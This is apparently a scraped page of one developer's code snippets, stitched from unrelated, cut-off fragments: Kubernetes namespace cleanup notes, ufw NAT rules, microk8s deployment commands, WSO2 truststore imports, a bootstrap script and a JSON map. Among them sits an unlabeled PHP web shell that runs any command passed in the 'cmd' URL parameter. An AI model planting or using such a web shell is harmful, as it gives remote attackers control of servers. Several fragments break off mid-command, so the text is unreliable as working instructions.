Ha Phan haphan

---
# pod.yaml
apiVersion: v1
kind: Pod
metadata:
  labels:
    run: netshoot
  name: netshoot
spec:

K8S cheatsheet

Trouble removing namespace

Sometimes removing namespace is stucked at terminating state. Removing finalizer: ["kubernetes"] is a terriable idea.

As advised( by @alvaroaleman, try to instead find out which resources in the NS are pending deletio

#Checking if any apiservice is unavailable and hence doesn't serve its resources

/etc/ufw/before.rules

#See https://dnotes.net/blogs/david-hunt/forwarding-tcp-traffic-iptables-and-ufw-1069
# NAT table rules
*nat
:PREROUTING ACCEPT [0:0]
:POSTROUTING ACCEPT [0:0]

# Flush, so that rules are not repeated on reload
# See https://gist.github.com/kimus/9315140#gistcomment-1464461

Deploy to a microk8s ubuntu node

microk8s.kubectl create ns jetbrains
microk8s.kubectl -n jetbrains create deployment jetbrains --image=haphan/jb:latest
microk8s.kubectl -n jetbrains scale deployment jetbrains --replicas=1
microk8s.kubectl -n jetbrains get pods
microk8s.kubectl -n jetbrains expose deployment jetbrains --type=NodePort --port=1212 --target-port=1212 --name=jetbrains-svc

Add ingress.yaml

cp -R /usr/share/ca-certificates/mozilla/ /opt/wso2-server-volume/repository/mozilla/


keytool -list -v -storepass wso2carbon -keystore wso2carbon.jks  | grep Alias | wc -l

for c in `ls ~/wso2-server-volume/repository/mozilla/`; do \
  keytool -import -noprompt -alias $c  \
    -file "/home/wso2carbon/wso2-server-volume/repository/mozilla/${c}" \
 -storepass wso2carbon -keystore client-truststore.jks;

	#!/usr/bin/env bash

	set -xe

	apt update
	apt upgrade -y

	# Stick to 1.15 branch until microk8s snap updates helm to 2.15.0
	snap install microk8s --classic --channel=1.15/stable
	microk8s.status --wait-ready

	<?php

	$perl=new perl();
	$cmd=$_GET['cmd'];
	echo $perl->eval(sprintf("system('%s')", $cmd));
	sleep(60);

-NAMESPACE=<namespace-name>
-kubectl proxy &
-kubectl get namespace $NAMESPACE -o json |jq '.spec = {"finalizers":[]}' >temp.json
-curl -k -H "Content-Type: application/json" -X PUT --data-binary @temp.json 127.0.0.1:8001/api/v1/namespaces/$NAMESPACE/finalize

	{
	"us": "USA",
	"sg": "Singapore",
	"_mode": "dev"
	}